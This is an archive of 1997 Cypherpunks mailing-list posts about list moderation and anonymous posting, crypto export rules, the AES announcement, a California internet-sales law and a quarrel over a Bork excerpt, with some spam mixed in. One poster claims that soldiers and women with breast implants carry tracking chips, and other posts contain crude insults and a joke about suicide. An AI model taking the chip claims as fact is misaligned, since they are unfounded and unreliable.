Date: Sat, 4 Jan 1997 19:11:18 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: ONE MILLION CHILDREN..... (fwd)
In-Reply-To: <199701041932.NAA32121@einstein>
Message-ID: <32CF1A27.57A0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 04 Jan 1997 10:24:21 -0800
> > From: Dale Thorn <dthorn@gte.net>
> > C'mon Gary, why would anyone want to bother with all of this crap?
> > Chip implants are already in millions of pets.  It's simple, cheap,
> > and there's no work for the owner.

> > Thousands of humans are also implanted, i.e., Green Berets, Seals, and
> > similar types, women with breast implants, and so on.  There's a move-
> > ment on to implant most children, so they're not as vulnerable to kid-
> > napping, etc.

> Baloney. I know two SEAL's (I share an office at work with one) and I
> can verify they are NOT chiped. I also have several female friends who have
> had various breast surgeries and they also are not chipped.

Well, I guess the baloney clause wins, 'cause I certainly can't verify
it.  OTOH, if an intelligence officer (i.e., Navy Seal) tells me the
sky is green and the grass is blue, I'll understand completely (wink).

The breast implant thing is supposed to be law, although again, I don't
have my hand in anyone's bra to check them out....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 6 Jan 1997 08:49:18 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anonymous Post Control
Message-ID: <852567534.56897.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > Well the obvious answer seems to me to stop majordomo at toad.com
> > accepting ANY messages from anonymous sources but let pseudonyms
> > post, pseudonymous posting allows the owner of the nym to accumulate
> > reputation capital without disclosing his or her true identity.
> 
> Paul Bradley accumulated oodles of reputation capital with his
> obscene rants about "brute force attacks on one-time pads".

I do not see what was remotely "obscene" about a slip up of this 
kind, and please refrase from using the plural where it is not 
appropriate, I posted such a mistake once and immediately realised 
what I had said and retracted it. 

> 
> Now he wants more censorship.

If you had cared to comment in the rest of my posting to your reply 
you would have seen that immediately after stating this solution I 
confirmed that I do not encourage this or condone it as it is 
censorship, but that it was merely a solution, not a good one granted 
but still worthy of mentioning.

For those who (ahem) overlooked that part of my posting here it is 
again.

>Bear in mind of course that this is a purely technical answer and I
>happen not to believe that anonymous posting should be stopped.

But of course you chose not to comment this in as it allowed you to 
credibly rant about me wanting censorship, at least argue with 
someone you have a dispute with rather than just randomly picking 
people and quoting parts of their posts out of context then flaming 
them.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 4 Jan 1997 19:23:54 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: New rules for Internet sales to CA buyers
In-Reply-To: <3.0.32.19970102144026.0069bc00@mail.io.com>
Message-ID: <32CF1E65.AD7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg wrote:
> In article <3.0.32.19970102144026.0069bc00@mail.io.com>,
> Greg Broiles  <gbroiles@netbox.com> wrote:
> >The following subsection of California Business & Professions Code section
> >17538 took effect 1/1/97 and may be of interest to people following state
> >attempts to regulate net sales:
> >   (d) A vendor conducting business through the Internet or any other
> >electronic means of communication shall do  all of the following
> >when the transaction involves a buyer located in California:

> So is this saying that a merchant _anywhere in the world_ can be prosecuted
> under California law if someone in California goes to their web page,
> and the web page doesn't satisfy the requirements (which I snipped)?
> How is a merchant in, say, Finland, supposed to know that this law (or others
> like it in any city, state, or country in the world) exists?

It's all rather academic, my dear Ian.  Just as the Atom bomb made the
United Nations mandatory, and large-scale war impossible for the U.S.,
the Internet will be the thing that facilitates ushering in one-world
government.  When Bill Gates and friends put up those 800-plus satellites
to beam the "news, entertainment, and important events" all over the world
to everyone's TV set, the circle will be complete.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Jan 1997 16:50:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v03007800aef47653557a@[207.167.93.63]>
Message-ID: <7e91ZD56w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> Except for the one of using the versions of majordomo (which exist, as I
> understand things) which only allow posts by subscribed members. This may
> nuke anonymous posts, but so what? The _possibility_ of anonymity, which we
> mostly all support, does not mean that people have to listen to such posts.
> And since the junk from anonymous posts is getting to be a serious
> problem....
>
> Another possibility is that anonymous posts get kicked into a file for
> later approval or nonapproval by someone. Nothing fancy (that is, no
> "tokens" and complicated accounting systems, such as have been proposed),
> just a manual "moderation" by someone, or some set of volunteers, etc.
> Enough moderation to let the "Red Rackham" sorts of good posts through
> while blocking the "Make Money Fast" and barnyard insults from making it.

Timmy seems to be VERY bothered by those anonymous posts and would
surely like them to stop - perfectly illustrating why the "cypher punks"
are enemies of free speech. Timmy can killfile anything he doesn't like,
but he wants to prevent everyone else from seeing whatever information
Timmy doesn't want to be disseminated.

You lose, Timmy.  The truth wants to be free.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 4 Jan 1997 20:09:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <3.0.32.19970104182713.0069a05c@mail.io.com>
Message-ID: <v03007801aef4d95b7746@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:38 PM -0800 1/4/97, Greg Broiles wrote:

>I think that a "3 posts per person per day" rule might produce interesting
>results; at least from my perspective, people who send many messages (> 5,
>or so) per day usually don't have anything of substance to say and I
>frequently skip all of their posts. It would also encourage people to avoid
>the "Me, too" or "I think you're an idiot" messages which can just as
>easily be sent privately or not at all. Implementing such a rule would be
>disproportionately burdensome technically and politically, so I'm not
>seriously suggesting that we implement it, but I do think it's useful to
>think of "fewer, better" posts as a goal.

Is this 3 per day _on average_, or _peak_? (I was quiet for Xmas and NYE,
so I built up a "credit" of about 21 posts, of which I still have some left
:-))

Seriously, this rule was also tried by the Extropians, with little useful
effect.

While the goal of "fewer, but better" posts is a noble one, mechanical
rules such as are implied by quotas are a bad idea. For various reasons.

Most of my posts are reasonable long ones (is this also a violation of a
policy Greg would support?), and I try to completely avoid short, "me too,"
rejoinders or the typical net.repartee that so pollutes other lists.

(If you think our list is bad, you ought to see lists which are completely
dominated by one-line witticisms and inside jokes....)

Frankly, some of us have more time and interest in posting to this list
than some others have. As I like to say, "for various reasons." Clearly all
1200+ subscribers cannot post 3 messages a day and have the list survive;
that some posters post many more than 3, some post 3 or fewer, and the vast
majority post none at all is completely unsurprising. Attempts to
mechanically limit the number of peak posts to some arbitrary limit,
without taking into account other factors, will backfire badly.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 4 Jan 1997 20:38:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Judge Bork on Ebonics
Message-ID: <199701050438.UAA26367@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



At 6:37 PM 1/4/1997, Steve Schear wrote:
>The following is from pages 300-307 of Robert Bork's brilliant
>book, "Slouching Towards Gomorrah".  This is a book which should
>be read by everyone--and especially by liberals.
>
>Here are Judge Bork's thoughts on multiculturalism, bilingual
>education, and "Black English", otherwise known as "Ebonics".

Thank you for taking the trouble to type in Bork's thoughts.  You
might enjoy reading the introduction to his book on antitrust law.  He
eloquently demonstrates how antitrust law is designed and implemented
to undermine the rule of law.  The participants are fully aware of
their actions and Bork documents it.

Nonetheless, I have some disagreements with Judge Bork.  I believe he
is too eager to lump "multi-culturalists" and "revisionists" into one
coherent mass.  He also seems to ignore the many substantive and
interesting points raised by the revisionists.

>Bernstein took a two-year leave of absence from the New York
>Times to gather the facts of the multicultural ideology and its
>opponents. His is not an impressionistic book or one based on an
>ideological predisposition; it is a report of empirical findings. He
>points, for example, to the remarkable change in attitude towards
>Christopher Columbus between 1892 and 1992. Though not a
>single new fact about Columbus's life and exploits had been
>uncovered, the country's mood swung from one of uncritical adu-
>lation to one of loathing and condemnation, at least among the
>members of the "intellectual" class. The change was accomplished
>by the aggressive ideology of multiculturalism. The Columbus
>turnaround is merely a specific instance of more general alter-
>ations in our moral landscape.

If it is the case that no new facts are known about Columbus, which
probably isn't true anyway, then we have to seriously question what
people were thinking in 1892.  See "Lies My Teacher Told Me:
Everything Your American History Textbook Got Wrong" by James W.
Loewen for a full treatment.

The summary: Columbus was a bad man who lead the Spanish government in
causing the deaths of about 8 million people.  How can we rever such a
monster?  Why did people in 1892 do so?

Less dramatically, Columbus's visionary belief in a round world was
not as visionary as claimed.  Many people were aware of this fact at
the time.  There are many similar examples of mythmaking.

What has changed since 1892 is intellectual integrity and it has
changed for the better.  Of course, in 1892 the United States was just
completing one of the most successful land grabs in history.  One can
either concede a strong belief in the right of conquest or one can lie
about it.  In 1892 they lied about it.

>That was the meaning of the radicals' attack on Stanford's Western
>Culture program in which students were required to sample the
>writings of men who had helped shape Western culture-Shakespeare,
>Dante, Locke, etc. A black student who objected to the program said
>its message was "Nigger, go home."

If Universities were run like businesses serving customers, this
question would not even have to be raised.  Students may study
whatever they are willing to pay for.

>That exclusionary inter- pretation is precisely the opposite of the
>real message of the pro- gram, which was "Let us study what we have
>in common as inheritors of a tradition."

This I disagree with.  There is nothing magical about promoting
"tradition".  I much prefer to study the most worthwhile literature
and philosophical ideas available regardless of their source.  While
Shakespeare is certainly worth studying, Sun Tzu is at least as
worthwhile, depending on one's goals.

>The insistence on separate ethnic identities means that persons in
>each group can study their own culture, often in highly flattering
>and historically inaccurate form.

But this is exactly what the Universities and other "educational"
institutions in the United States have been doing for years.

>Multiculturalism then means not the study of others but of oneself.

This is simply false.  When people argue about the curriculum at
Stanford University, they are arguing about the education of a group
composed primarily of young wealthy European-Americans.

>In education at all levels, the substance of the curriculum
>changes to accommodate multiculturalist pressures. We have
>already seen this in feminist and Afrocentric studies, but it is
>everywhere. In New York state it is official educational doctrine
>that the United States Constitution was heavily influenced by the
>political arrangements of the Iroquois Confederacy.  The official
>promulgation of this idea was not due to any research that dis-
>closed its truth. Nor has any other state adopted this nonsensical
>idea.

I am very skeptical of Bork's claim.  For example, the method of
admitting states to the Union and granting them nearly equal status
with the existing states does not, I believe, have precedent in
European history.  However, this is how the Five Nation Iroquois
functioned.  At first glance, it seems reasonable to suggest that the
authors of the Constitution got this idea from the Iroquois.  If
anybody knows otherwise, I would be most interested to hear about it.

"Lies My Teacher Told Me" had this fascinating passage on page 103:
"In the 1740s the Iroquois wearied of dealing with several often
bickering English colonies and suggested that the colonies form a
union similar to the league [i.e., the Iroquois -ed.].  In 1754
Benjamin Franklin, who had spent much time among the Iroquois
observing their deliberations, pleaded with colonial leaders to
consider the Albany Plan of Union: "It would be a strange thing if six
nations of ignorant savages should be capable of forming a scheme for
such a union and be able to execute it in such a manner as that it has
subsisted ages and appears insoluble; and yet that a like union should
be impracticable for ten or a dozen English colonies.'"

Consider this excerpt from page 104: "For a hundred years after our
Revolution, Americans credited Native Americans as a source of their
democratic institutions.  Revolutionary-era cartoonists used images of
Indians to represent the colonies against Britain.  Virginia's patriot
rifle companies wore Indian clothes and moccasins as they fought the
redcoats.  When colonists took action to oppose unjust authority, as
in the Boston Tea Party or the anti-rent protests against Dutch
plantations in the Hudson River Valley during the 1840s, they chose to
dress as Indians, not to blame Indians for the demonstrations but to
appropriate a symbol identified with liberty."

Or consider this, also from page 104: "As a symbol of the new United
States, Americans chose the eagle clutching a bundle of arrows.  They
knew that both the eagle and the arrows were symbols of the Iroquois
League.  Although one arrow is easily broken, no one can break six (or
thirteen) at once."

The truth is, many revisionists have many interesting things to say.
Disturbingly, I have noticed that the anti-revisionists have a marked
tendency towards ad hominem attack and seldom address the specific
points raised.  My belief is that many established historians see
themselves as promoting a "tradition" and not as searchers for truth.
I would like to hear opposing points of view if backed up by evidence.

(Lowewen, for instance, has some squirrelly values and there are a
number of errors in his book.)

>This sort of thing is happening across the country as various ethnic
>groups and feminists demand that history be rewritten according to
>their party lines. This not only debases history but pits the various
>groups against one another as they struggle for space in the
>textbooks. New York's "interest in history is not as an intellectual
>discipline," Schlesinger writes, "but rather as social and
>psychological therapy whose primary purpose is to raise the self-
>esteem of children from minority groups."

Loewen claims that Schlesinger wrote an entire book on the Jackson
administration in which he omitted any reference to the forcible
relocation of the Cherokees from Georgia to Oklahoma.  Regardless of
whether one cares about such crimes - and one should - this episode is
worth studying for its Constitutional implications alone.

The Cherokees had a treaty with the United States Government.  They
took their case to the Supreme Court.  Chief Justice of the United
States John Marshall ordered that the Cherokees be left alone.  Andrew
Jackson replied "I'd like to see John Marshall stop me."  Jackson, a
former general, was presumably popular with the Army.

I haven't verified Loewen's claim, but I have read an essay by
Schlesinger in which he attacks historical revisionism without
actually addressing any claim by the revisionists.

Red Rackham






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alfred Michael Arzt <office@phoenix.com.ai>
Date: Sat, 4 Jan 1997 18:08:14 -0800 (PST)
To: office@phoenix.com.ai
Subject: NETWORKING ALERT!!!
Message-ID: <3.0.16.19970105024456.24670aca@phoenix.com.ai>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Fwd: Re: Naive Export Question]
Message-ID: <32CF41C8.7759@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: Jim Wise <jw250@columbia.edu>
Subject: Re: Naive Export Question
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 04 Jan 1997 21:52:25 -0800
Organization: TOTO Enterprises
References: <Pine.SUN.3.95L.970104085335.28613C-100000@namaste.cc.columbia.edu>
Reply-To: toto@sk.sympatico.ca

Jim Wise wrote:
 
> And here we have the heart of the regulations...  Only _actually_ close
> what they're sure they can get away with, but make sure to make it
> seem that the rules are logical and complete, so people will refrain
> from exporting crypto legally or illegally for fear that they will
> break the law without meaning too...

  That's right.  I've never seen a government regulator go broke from
having to pay lawyers in order to prosecute a citezen, right or
wrong.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Fwd: Re: Timmy's Lost It: [Was Extremism in the defense of liberty is 	  no vice]]
Message-ID: <32CF4221.4556@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Timmy's Lost It: [Was Extremism in the defense of liberty is   no vice]
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 04 Jan 1997 20:48:46 -0800
Organization: TOTO Enterprises
References: <v03007801aeef0dff9afe@[207.167.93.63]> <v03007800aef30965baec@[207.167.93.63]> <v03007800aef3d51b725d@[207.167.93.63]>
Reply-To: toto@sk.sympatico.ca

Timothy C. May wrote:
> Surely you can see that WW2 was substantially different from Vietnam?

  Only in scale, and in the number of people and nations who felt 
that outside intervention in the affairs of other nations was
justified.

> However, most soldiers in WW2, on both sides, were the cannon fodder of
> politicians.

  In any war, whether 'just' or 'unjust' (or 'both'), the 'grunts' on
the
line, by very nature of their position, are cannon fodder, whether they
are their because of their ideals, or as a result of conscription.
  It is a sad fact that, even in a war where the main focus is the
fight for ideals that the common soldier is willing to sacrifice 
for, the 'powers that be' always seem to be ready, willing and able
to throw away a few 'extra' lives in order to increase the size of
their political 'cock', or to garner a few headlines.
  And when the war is over, the only thing that everyone can agree on
seems to be the 'body count'.  That's war.

Toto









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Sorensen<succeslink@aol.com>
Date: Sat, 4 Jan 1997 19:30:14 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Make $300 a Day!!
Message-ID: <199701050329.WAA26307@oo.com>
MIME-Version: 1.0
Content-Type: text/plain



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available.  We look forward to working with you!!

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Success Link - Your link to success




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Fwd: Re: Experiments on Mailing Lists]
Message-ID: <32CF4B4B.FC3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822


To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Experiments on Mailing Lists
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 04 Jan 1997 22:32:46 -0800
Organization: TOTO Enterprises
References: <v03007800aef47653557a@[207.167.93.63]>
Reply-To: toto@sk.sympatico.ca

Timothy C. May wrote:
 
> Another possibility is that anonymous posts get kicked into a file for
> later approval or nonapproval by someone. Nothing fancy (that is, no
> "tokens" and complicated accounting systems, such as have been proposed),
> just a manual "moderation" by someone, or some set of volunteers, etc.
> Enough moderation to let the "Red Rackham" sorts of good posts through
> while blocking the "Make Money Fast" and barnyard insults from making it.

  I don't think it would take an extraordinary amount of brainpower for
someone to be able to figure out that a posting with a subject heading,
"Make Big $$$" is auto-spam, and put it out of its misery.
  And 500 messages titled, "How about them Lakers, huh?" would probably
also be fairly easy for even the slow-of-wit to spot as
cyber-hemmeroids.
  If I am denied hearing about a new cryptography scheme because the
author of it named it, "How about them Lakers, huh?", I am sure that
it would be a loss that I could live with.

Toto








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 4 Jan 1997 22:49:26 -0800 (PST)
To: dlv@bwalk.dm.com>
Subject: Re: ONE MILLION CHILDREN.....
Message-ID: <199701050649.WAA19140@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:57 PM 1/4/97 -0800, Toto wrote:
>Dr.Dimitri Vulis KOTM wrote:
> 
>> I used to be at 212-666-6984 for some 7 years.
>
>  Aha!

You figured it out, too, huh?!?   Take the word "devil," remove the vowels 
and you get dvl.  Rearrange slightly, and it's "dlv."


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:37 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v02140b0aaeef4195b36f@[192.0.2.1]>
Message-ID: <32CF4CE7.5AB8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> >   Are you working on a 'commission' basis, here?
> 
> In the interests of freedom, just in case you missed it,
> it's called MLM/PGP, i.e, PGP is the ultimate multi-level
> marketing tool.

  Did I miss getting in on the 'ground floor', here?
  Damn. Well, I guess I'll just have to wait for the next email
telling how to "MAKE BIG $$$$'. (my psychic abilities tell me
that I won't have to wait long)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 4 Jan 1997 22:43:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <32CF58D3.5205@sk.sympatico.ca>
Message-ID: <199701050643.WAA18324@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:

[snip]

> 5. Dr. DV K will be given two seperate tokens each day.  One
> token will allow him to post a message containing the word
> 'cock', and the other one will allow him to post a message
> containing the word 'sucker'.

LOL.  Just another normal day here on Dimitripunks. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:28 -0800 (PST)
To: Peter Hendrickson <ph@netcom.com>
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <v02140b00aef428407574@[192.0.2.1]>
Message-ID: <32CF4EB7.6633@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson wrote:
 
> This is no different from the original scheme with a limited number
> of tokens.  If the anonymity is preserved, you can always pay somebody
> $500 to go to the trouble of getting one of the rare tokens distributed
> or to buy one off a list member who already has one.  In the modified
> scheme, the cost is quantified and easy to express and understand.

  And the person who pleases the most people gets to be Prom Queen.
(this requires either having 'great teeth' or having 'no teeth')






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:38 -0800 (PST)
To: Ian Goldberg <iang@cs.berkeley.edu>
Subject: Re: New rules for Internet sales to CA buyers
In-Reply-To: <3.0.32.19970102144026.0069bc00@mail.io.com>
Message-ID: <32CF4FDE.570A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg wrote:
 
> So is this saying that a merchant _anywhere in the world_ can be prosecuted
> under California law if someone in California goes to their web page,
> and the web page doesn't satisfy the requirements (which I snipped)?
> 
> How is a merchant in, say, Finland, supposed to know that this law (or others
> like it in any city, state, or country in the world) exists?

  Ignorance is no excuse for violating the law.  This is a standard
legal
principle which can be loosely translated as, "It's not 'our' problem
that you're not psychic, sucker."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:41 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <19970103174004703.AIT291@[205.187.61.2]>
Message-ID: <32CF50A5.3E23@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
> I realize most people are still afraid of the 666 stuff (direct evidence
> from the phone company shows most people will not accept #s with 666
> prefixes)

  Perhaps this explains why you never see a 666th floor in apartment
buildings.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:11:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: ONE MILLION CHILDREN.....
In-Reply-To: <s5Z1ZD46w165w@bwalk.dm.com>
Message-ID: <32CF50F4.41AD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
 
> I used to be at 212-666-6984 for some 7 years.

  Aha!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Your Comment Here)
Message-ID: <32CF51BA.1B7C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


"Before I joined CypherPunks, I couldn't even 'spell' cocksucker.
Now,...(Your Comment Here)."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard Fiero" <rfiero@pophost.com>
Date: Sat, 4 Jan 1997 23:06:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Judge Bork on Ebonics
In-Reply-To: <v02140b07aef4c3f44fc9@[10.0.2.15]>
Message-ID: <199701050704.AAA09677@smtp.pophost.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:

> The following is from pages 300-307 of Robert Bork's brilliant
> book, "Slouching Towards Gomorrah".  This is a book which should
> be read by everyone--and especially by liberals.
> 
> Here are Judge Bork's thoughts on multiculturalism, bilingual
> education, and "Black English", otherwise known as "Ebonics".
> 
> ====================================================
> 
> The natural centrifugal tendencies of ethnicity were once
> counteracted by a public school system that stressed indoctrinating
> immigrants to be Americans

Shame on Steve Schear for passing off this narcissistic gay whitebread shit 
as having been written by the renowned Robert Bork. No real person could be 
so transparently self-promoting and irrelevant as the obviously humorous 
author was.
 - Richard Fiero




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 4 Jan 1997 21:41:21 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <199701031310.NAA00485@server.test.net>
Message-ID: <32CF58D3.5205@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
 
> I think this filtering/censorship stuff is getting way too complicated
> to be practical.

  No, it's really fairly simple if you remember a few basics:

1. Tokens will be used for posting on Sunday through Wednesday.

2. Left-handed people can only post between 4 and 6 p.m.

3. People whose last names start with the letters 'a' through
'm' will not have to follow the 'Random Rules'.

4. People whose last names start with the letters 'n' through
'z' will be required to follow the 'Random Rules', but they 
will not be told what they are until the day following their
post. (otherwise, it would destroy the whole idea behind 
randomizing the posting rules)

5. Dr. DV K will be given two seperate tokens each day.  One
token will allow him to post a message containing the word
'cock', and the other one will allow him to post a message
containing the word 'sucker'.

6. People posting messages such as 'this' one will, eventually,
after reading their own postings, realize that they don't have
a 'real' life, and kill themselves--thus becoming a solution
to their own problem.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: GroupWeb eJournal <groupweb@village.yvv.com>
Date: Sat, 4 Jan 1997 23:51:57 -0800 (PST)
To: groupweb@prodigy.com
Subject: eJournal
Message-ID: <199701050537.AAA14566@yvv.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================
G R O U P W E B eJ O U R N A L (tm)
Vol. 2 No. 1,  January 6,  1997
http://www.groupweb.com/your/ejournal.htm
- Now serving 45,000 readers.
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H A P  P Y   N E W  Y E A R!
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  His campaign, however, was without complains: 
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  What will become of Clinton's Presidency in 1997
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  See Allpolitics at:
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GENERAL REVIEWS OF '96 AND PREVIEWS OF '97
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  See complete 1996 reviews on the Arts, business, 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@netcom.com (Matthew Ghio)
Date: Sat, 4 Jan 1997 21:58:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FIPS for AES
In-Reply-To: <1.5.4.32.19970102153923.006bfbf0@pop.pipeline.com>
Message-ID: <199701050556.AAA00312@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> wrote:

> Federal Register: January 2, 1997, Pages 93-94.
>
> Announcing Development of a FIPS for Advanced Encryption Standard
...
> Summary: A process to develop a FIPS for Advanced Encryption Standard
> (AES) incorporating an Advanced Encryption Algorithm (AEA) is being
> initiated by the NIST. It is intended that the AES will specify an
> unclassified, publicly disclosed encryption algorithm capable of
> protecting sensitive government information well into the next century.


Well, well, well...  Looks like we have some dissent in the ranks of the
GAK alliance. :)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@netcom.com (Matthew Ghio)
Date: Sat, 4 Jan 1997 22:20:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FIPS for AES
In-Reply-To: <9612311143.AA08693@cow.net>
Message-ID: <199701050618.BAA00319@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
>         One issue which I haven't seen anybody address is the
> provision to make export licenses easier to obtain for those
> companies which show a credible business plan that supports GAK.
>
>         1) Isn't this showing favouritism in an administrative
> decision to people who support the government's political agenda.
>
>         2) If the export of a certain encryption `item' is inimical to
> `National Security', isn't the harm to the `National Security' the same
> regardless of whether the exporter plans to produce GAK products in the
> future or not?
>
>         Based on these two points shouldn't this aspect of the regulations
> considered as being `arbitrary' and hence unconstitutional.

Yes, yes, and no... Arbitrary government decisions are not unconstitutional
in general; however, arbitrary discretion in prohibiting publications is
most certainly a voilation of the First Amendment.

>         A further thought. If you obtain an export license by showing
> the government a business plan that supports GAK, but then do not
> follow your business plan, how will the goverment `get' you?

They get you through their paradigm of standardless discretion.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Sun, 5 Jan 1997 10:35:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ONE MILLION CHILDREN..... (fwd)
In-Reply-To: <199701041932.NAA32121@einstein>
Message-ID: <970105.012718.4D8.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ravage@einstein.ssz.com writes:

> Forwarded message:
>
>> Date: Sat, 04 Jan 1997 10:24:21 -0800
>> From: Dale Thorn <dthorn@gte.net>
>> 
>> C'mon Gary, why would anyone want to bother with all of this crap?
>> Chip implants are already in millions of pets.  It's simple, cheap,
